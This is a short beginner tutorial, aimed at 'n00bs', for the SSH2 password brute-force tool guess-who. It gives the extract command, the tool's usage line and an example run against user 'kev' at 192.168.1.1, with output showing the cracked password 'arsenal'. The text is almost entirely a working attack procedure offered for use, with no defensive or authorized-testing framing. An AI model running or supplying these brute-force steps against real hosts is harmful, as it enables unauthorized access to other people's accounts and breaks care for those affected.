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Brute Force ssh (for n00bs)

Guess-who is a password brute force utility for attacking Secure Shell Version 2 accounts.
It is available from

Required Files and programs

It is NOT required to download ALL files here. Please read CAREFULLY!

  • Required Program:

  • In case you would want to personalize your password files, the folowing is a Wind0ws utility to merge text files

  • The following are to be chosen if you want to create personalized password files.


Download to the desired directory

tar -zxvf guess-who-0.44.tgz


[root@hacker guess-who]# ./b

guess-who SSH2 parallel passwd bruter (C) 2002 by

Usage: ./b <-l login> <-h host> [-p port] <-1|-2> [-N nthreads] [-n ntries]
Use -1 for producer/consumer thread model, -2 for dumb parallelism. < Password file

Expected output:

[root@hacker guess-who]# ./b -l kev -h l192.168.1.1 -p 22 -2 < /passwords.txt
(!)056 ][ 00013 ][ 00000004.307361 ][ kev ][ arsenal ]
[ 00061 ][ 00015 ][ 00000004.066396 ][ kev ][ e3d ]

As you can see the user kev has a password of arsenal